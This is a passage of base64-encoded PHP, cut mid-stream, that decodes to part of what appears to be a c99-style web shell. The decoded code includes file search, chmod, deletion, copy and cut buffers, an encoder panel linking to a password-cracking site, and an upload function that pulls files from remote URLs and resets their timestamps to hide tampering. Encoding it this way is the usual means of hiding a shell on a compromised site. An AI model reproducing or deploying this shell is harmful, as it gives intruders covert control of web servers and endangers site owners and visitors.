ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj48dHI+IjsNCn0NCmVjaG8gIjwvdHI+Ii4NCiAgICAgIjx0cj48dGQgcm93c3Bhbj0yPlVybDo8L3RkPiIuDQogICAgICI8dGQ+dXJsZW5jb2RlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD51cmxkZWNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+PC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkIHJvd3NwYW49Mj5CYXNlNjQ6PC90ZD4iLg0KICAgICAiPHRkPmJhc2U2NF9lbmNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD5iYXNlNjRfZGVjb2RlOjwvdGQ+PHRkPiI7DQppZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJGYWlsZWQhXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9DQplbHNlIHsNCiAgJGRlYmFzZTY0ID0gYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7DQogICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsNCiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOw0KICAkcm93cyA9IGNvdW50KCRhKTsNCiAgJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOw0KICBpZiAoJHJvd3MgPT0gMSkgeyBlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iOyB9DQogIGVsc2UgeyAkcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+IjsgfQ0KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPltTZW5kIHRvIGlucHV0XTwvYT4iOw0KfQ0KZWNobyAiPC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkPkJhc2UgY29udmVydGF0aW9uczo8L3RkPjx0ZD5kZWMyaGV4PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7DQokYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7DQpmb3IoJGk9MDskaTwkYzskaSsrKSB7DQogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOw0KICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO30NCiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQ0KfQ0KZWNobyAiXCIgcmVhZG9ubHk+PC90ZD48L3RyPjx0cj48dGQ+T25saW5lIG1kNSAsIHNoYTEgLCBteXNxbCBwYXNzd29yZCBjcmFja2VyPHRkPjxhIGhyZWY9XCJodHRwOi8vcGFzc2NyYWNraW5nLmNvbVwiIHRhcmdldD1fYmxhbms+RW50ZXI8L2E+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+PC9mb3JtPiI7DQp9DQppZiAoJHggPT0gImZzYnVmZiIpIHsNCiAgJGFycl9jb3B5ID0gJHNlc3NfZGF0YVsiY29weSJdOw0KICAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1dCJdOw0KICAkYXJyID0gYXJyYXlfbWVyZ2UoJGFycl9jb3B5LCRhcnJfY3V0KTsNCiAgaWYgKGNvdW50KCRhcnIpID09IDApIHtlY2hvICI8aDI+PGNlbnRlcj5CdWZmZXIgaXMgZW1wdHkhPC9jZW50ZXI+PC9oMj4iO30NCiAgZWxzZSB7DQogICAgJGZ4X2luZm9oZWFkID0gIkZpbGUtU3lzdGVtIEJ1ZmZlciI7DQogICAgJGxzX2FyciA9ICRhcnI7DQogICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOw0KICAgICR4ID0gImxzIjsNCiAgfQ0KfQ0KPz4NCjw/DQppZiAoJHggPT0gInNlYXJjaCIpIHsNCiAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+WyBGaWxlLVN5c3RlbSBTZWFyY2ggXTwvZGl2PiI7DQogIGlmIChlbXB0eSgkc2VhcmNoX2luKSkgeyRzZWFyY2hfaW4gPSAkZDt9DQogIGlmIChlbXB0eSgkc2VhcmNoX25hbWUpKSB7JHNlYXJjaF9uYW1lID0gIiguKikiOyAkc2VhcmNoX25hbWVfcmVnZXhwID0gMTt9DQogIGlmIChlbXB0eSgkc2VhcmNoX3RleHRfd3dvKSkgeyRzZWFyY2hfdGV4dF9yZWdleHAgPSAwO30NCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgew0KICAgICRmb3VuZCA9IGFycmF5KCk7DQogICAgJGZvdW5kX2QgPSAwOw0KICAgICRmb3VuZF9mID0gMDsNCiAgICAkc2VhcmNoX2lfZiA9IDA7DQogICAgJHNlYXJjaF9pX2QgPSAwOw0KICAgICRhID0gYXJyYXkoDQogICAgICAgICJuYW1lIj0+JHNlYXJjaF9uYW1lLA0KICAgICAgICAibmFtZV9yZWdleHAiPT4kc2VhcmNoX25hbWVfcmVnZXhwLA0KICAgICAgICAidGV4dCI9PiRzZWFyY2hfdGV4dCwNCiAgICAgICAgInRleHRfcmVnZXhwIj0+JHNlYXJjaF90ZXh0X3JlZ3hwLA0KICAgICAgICAidGV4dF93d28iPT4kc2VhcmNoX3RleHRfd3dvLA0KICAgICAgICAidGV4dF9jcyI9PiRzZWFyY2hfdGV4dF9jcywNCiAgICAgICAgInRleHRfbm90Ij0+JHNlYXJjaF90ZXh0X25vdA0KICAgICk7DQogICAgJHNlYXJjaHRpbWUgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAkaW4gPSBhcnJheV91bmlxdWUoZXhwbG9kZSgiOyIsJHNlYXJjaF9pbikpOw0KICAgIGZvcmVhY2goJGluIGFzICR2KSB7Y2Fmc2VhcmNoKCR2KTt9DQogICAgJHNlYXJjaHRpbWUgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc2VhcmNodGltZSw0KTsNCiAgICBpZiAoY291bnQoJGZvdW5kKSA9PSAwKSB7ZWNobyAiTm8gZmlsZXMgZm91bmQhIjt9DQogICAgZWxzZSB7DQogICAgICAkbHNfYXJyID0gJGZvdW5kOw0KICAgICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOw0KICAgICAgJHggPSAibHMiOw0KICAgIH0NCiAgfQ0KICBlY2hvICI8dGFibGUgY2xhc3M9Y29udGVudHM+Ii4NCiAgICAgICAiPHRyPjx0ZD48Zm9ybSBtZXRob2Q9UE9TVD4iLg0KICAgICAgICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPVwiIi4kZHNwYWN0LiJcIj4iLg0KICAgICAgICJGaWxlIG9yIGZvbGRlciBOYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfbmFtZVwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX25hbWUpKzI1KS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF9uYW1lKS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfbmFtZV9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX25hbWVfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBSZWd1bGFyIEV4cHJlc3Npb248L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD5Mb29rIGluIChTZXBhcmF0ZSBieSBcIjtcIik6PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9pblwiIHNpemU9XCIiLnJvdW5kKHN0cmxlbigkc2VhcmNoX2luKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfaW4pLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD5BIHdvcmQgb3IgcGhyYXNlIGluIHRoZSBmaWxlOjwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRcIiBjb2xzPVwiNTBcIiByb3dzPVwiNVwiPiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX3RleHQpLiI8L3RleHRhcmVhPjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX3RleHRfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IFJlZ3VsYXIgRXhwcmVzc2lvbiIuDQogICAgICAgIiAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF93d29cIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfd3dvID09IDE/IiBjaGVja2VkIjoiIikuIj4gV2hvbGUgd29yZHMgb25seSIuDQogICAgICAgIiAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9jc1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9jcyA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IENhc2Ugc2Vuc2l0aXZlIi4NCiAgICAgICAiICA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X25vdFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9ub3QgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiBGaW5kIGZpbGVzIE5PVCBjb250YWluaW5nIHRoZSB0ZXh0PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiU2VhcmNoXCI+PC9mb3JtPjwvdGQ+PC90cj4iLg0KICAgICAgICI8L3RhYmxlPiI7DQogIGlmICgkeCA9PSAibHMiKSB7DQogICAgJGRzcGFjdCA9ICR4Ow0KICAgIGVjaG8gIlNlYXJjaCB0b29rICIuJHNlYXJjaHRpbWUuIiBzZWNzICgiLiRzZWFyY2hfaV9mLiIgZmlsZXMgYW5kICIuJHNlYXJjaF9pX2QuIiBmb2xkZXJzLCAiLnJvdW5kKCgkc2VhcmNoX2lfZiskc2VhcmNoX2lfZCkvJHNlYXJjaHRpbWUsNCkuIiBvYmplY3RzIHBlciBzZWNvbmQpLjwvYj4iLg0KICAgICAgICAgIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJjaG1vZCIpIHsNCiAgJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOw0KICBpZiAoISRtb2RlKSB7ZWNobyAiPGI+Q2hhbmdlIGZpbGUtbW9kZSB3aXRoIGVycm9yOjwvYj4gY2FuJ3QgZ2V0IGN1cnJlbnQgdmFsdWUuIjt9DQogIGVsc2Ugew0KICAgICRmb3JtID0gVFJVRTsNCiAgICBpZiAoJGNobW9kX3N1Ym1pdCkNCiAgew0KICAgJG9jdGV0ID0gIjAiLmJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8xOjApLigkY2htb2Rfb1sidyJdPzE6MCkuKCRjaG1vZF9vWyJ4Il0/MTowKS4oJGNobW9kX2dbInIiXT8xOjApLigkY2htb2RfZ1sidyJdPzE6MCkuKCRjaG1vZF9nWyJ4Il0/MTowKS4oJGNobW9kX3dbInIiXT8xOjApLigkY2htb2Rfd1sidyJdPzE6MCkuKCRjaG1vZF93WyJ4Il0/MTowKSwyLDgpOw0KICAgaWYgKGNobW9kKCRkLiRmLCRvY3RldCkpIHskeCA9ICJscyI7ICRmb3JtID0gRkFMU0U7ICRlcnIgPSAiIjt9DQogICBlbHNlIHskZXJyID0gIkNhbid0IGNobW9kIHRvICIuJG9jdGV0LiIuIjt9DQogIH0NCiAgaWYgKCRmb3JtKQ0KICB7DQogICAkcGVybXMgPSBwYXJzZV9wZXJtcygkbW9kZSk7DQogICBlY2hvICI8Yj5DaGFuZ2luZyBmaWxlLW1vZGUgKCIuJGQuJGYuIiksICIudmlld19wZXJtc19jb2xvcigkZC4kZikuIiAoIi5zdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkZC4kZikpLC00LDQpLiIpPC9iPjxicj4iLigkZXJyPyI8Yj5FcnJvcjo8L2I+ICIuJGVycjoiIikuIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1jaG1vZD48dGFibGUgYWxpZ249bGVmdCB3aWR0aD0zMDAgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz01Pjx0cj48dGQ+PGI+T3duZXI8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29bcl0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9Y2htb2Rfb1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L3RkPjx0ZD48Yj5Hcm91cDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3ddIHZhbHVlPTEiLigkcGVybXNbImciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3hdIHZhbHVlPTEiLigkcGVybXNbImciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjx0ZD48Yj5Xb3JsZDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3ddIHZhbHVlPTEiLigkcGVybXNbInciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3hdIHZhbHVlPTEiLigkcGVybXNbInciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1jaG1vZF9zdWJtaXQgdmFsdWU9XCJTYXZlXCI+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiI7DQogIH0NCn0NCn0NCmlmICgkeCA9PSAidXBsb2FkIikgew0KICAkdXBsb2FkbWVzcyA9ICIiOw0KICAkdXBsb2FkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk7DQogIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30NCiAgZWxzZWlmIChzdWJzdHIoJHVwbG9hZHBhdGgsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdXBsb2FkcGF0aCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKCFlbXB0eSgkc3VibWl0KSkgew0KICAgIGdsb2JhbCAkX0ZJTEVTOw0KICAgICR1cGxvYWRmaWxlID0gJF9GSUxFU1sidXBsb2FkZmlsZSJdOw0KICAgIGlmICghZW1wdHkoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0pKSB7DQogICAgICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30NCiAgICAgIGVsc2UgeyRkZXN0aW4gPSAkdXNlcmZpbGVuYW1lO30NCiAgICAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7DQogICAgICAgICR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1lIl0uIiAoY2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4kdXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8YnI+IjsNCiAgICAgIH0NCiAgICAgIGVsc2UgeyAkdXBsb2FkbWVzcyAuPSAiRmlsZSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkhPGJyPiIuJHVwbG9hZHBhdGguJGRlc3RpbjsgfQ0KICAgIH0NCiAgICBlbHNlaWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkgew0KICAgICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9DQogICAgICBlbHNlIHsNCiAgICAgICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOw0KICAgICAgICAkZGVzdGluID0gJGRlc3Rpbltjb3VudCgkZGVzdGluKS0xXTsNCiAgICAgICAgaWYgKGVtcHR5KCRkZXN0aW4pKSB7DQogICAgICAgICAgJGkgPSAwOw0KICAgICAgICAgICRiID0gIiI7DQogICAgICAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHsNCiAgICAgICAgICAgIGlmICgkaSA+IDApIHskYiA9ICJfIi4kaTt9DQogICAgICAgICAgICAkZGVzdGluID0gInVwbG9hZCIuJGI7DQogICAgICAgICAgICAkaSsrOw0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCghZXJlZ2koImh0dHA6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiaHR0cHM6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiZnRwOi8vIiwkdXBsb2FkdXJsKSkpIHtlY2hvICI8Yj5JbmNvcnJlY3QgVVJMITwvYj4iO30NCiAgICAgIGVsc2Ugew0KICAgICAgICAkc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVwbG9hZHVybCk7DQogICAgICAgICRkdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRzdCw0KTsNCiAgICAgICAgaWYgKCEkY29udGVudCkgeyR1cGxvYWRtZXNzIC49ICAiQ2FuJ3QgZG93bmxvYWQgZmlsZSEiO30NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkdXBsb2FkcGF0aC4kZGVzdGluKTt9DQogICAgICAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOw0KICAgICAgICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHdyaXRpbmcgdG8gZmlsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9DQogICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICBmd3JpdGUoJGZwLCRjb250ZW50LHN0cmxlbigkY29udGVudCkpOw0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJHVwbG9hZHBhdGguJGRlc3Rpbiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICAgICAgICAgJHVwbG9hZG1lc3MgLj0gIkZpbGUgc2F2ZWQgZnJvbSAiLiR1cGxvYWR1cmwuIiAhIjsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgZWxzZSB7IGVjaG8gIk5vIGZpbGUgdG8gdXBsb2FkISI7IH0NCiAgfQ0KICBpZiAoJG1pbmlmb3JtKSB7DQogICAgZWNobyAiPGI+Ii4kdXBsb2FkbWVzcy4iPC9iPiI7DQogICAgJHggPSAibHMiOw0KICB9DQogIGVsc2Ugew0KICAgIGVjaG8gIjx0YWJsZT48dHI+PHRkIGNvbHNwYW49MiBjbGFzcz1iYXJoZWFkZXI+Ii4NCiAgICAgICAgICJbIEZpbGUgVXBsb2FkIF08L3RkPiIuDQogICAgICAgICAiPHRkIGNvbHNwYW49Mj4iLiR1cGxvYWRtZXNzLiI8L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwiIi4kc3VybC4ieD11cGxvYWQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPiIuDQogICAgICAgICAiRnJvbSBZb3VyIENvbXB1dGVyOjwvdGQ+PHRkPjxpbnB1dCBuYW1lPVwidXBsb2FkZmlsZVwiIHR5cGU9XCJmaWxlXCI+PC90ZD48L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5Gcm9tIFVSTDo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZHVybFwiIHR5cGU9XCJ0ZXh0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHVwbG9hZHVybCkuIlwiIHNpemU9XCI3MFwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+VGFyZ2V0IERpcmVjdG9yeTo8L3RkPjx0ZD48aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPlRhcmdldCBGaWxlIE5hbWU6PC90ZD48dGQ+PGlucHV0IG5hbWU9dXBsb2FkZmlsZW5hbWUgc2l6ZT0yNT48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9dXBsb2FkYXV0b25hbWUgdmFsdWU9MSBpZD1kZjQ+IENvbnZlcnQgZmlsZSBuYW1lIHRvIGxvd2VyY2FzZTwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVXBsb2FkXCI+Ii4NCiAgICAgICAgICI8L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJkZWxldGUiKSB7DQogICRkZWxlcnIgPSAiIjsNCiAgZm9yZWFjaCAoJGFjdGJveCBhcyAkdikgew0KICAgICRyZXN1bHQgPSBGQUxTRTsNCiAgICAkcmVzdWx0ID0gZnNfcm1vYmooJHYpOw0KICAgIGlmICghJHJlc3VsdCkgeyRkZWxlcnIgLj0gIkNhbid0IGRlbGV0ZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiI8YnI+Ijt9DQogIH0NCiAgaWYgKCFlbXB0eSgkZGVsZXJyKSkge2VjaG8gIjxiPkRlbGV0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kZGVsZXJyO30NCiAgJHggPSAibHMiOw0KfQ0KaWYgKCEkdXNlZnNidWZmKSB7DQogIGlmICgoJHggPT0gInBhc3RlIikgb3IgKCR4ID09ICJjb3B5Iikgb3IgKCR4ID09ICJjdXQiKSBvciAoJHggPT0gInVuc2VsZWN0IikpIHtlY2hvICI8Y2VudGVyPjxiPlNvcnJ5LCBidWZmZXIgaXMgZGlzYWJsZWQuIEZvciBlbmFibGUsIHNldCBkaXJlY3RpdmUgXCJcJHVzZWZzYnVmZlwiIGFzIFRSVUUuPC9jZW50ZXI+Ijt9DQp9DQplbHNlIHsNCiAgaWYgKCR4ID09ICJjb3B5IikgeyRlcnIgPSAiIjsgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRhY3Rib3gpOyBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJHggPSAibHMiOyB9DQogIGVsc2VpZiAoJHggPT0gImN1dCIpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImN1dCJdLCRhY3Rib3gpOyBjYV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJHggPSAibHMiO30NCiAgZWxzZWlmICgkeCA9PSAidW5zZWxlY3QiKSB7Zm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319IGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4k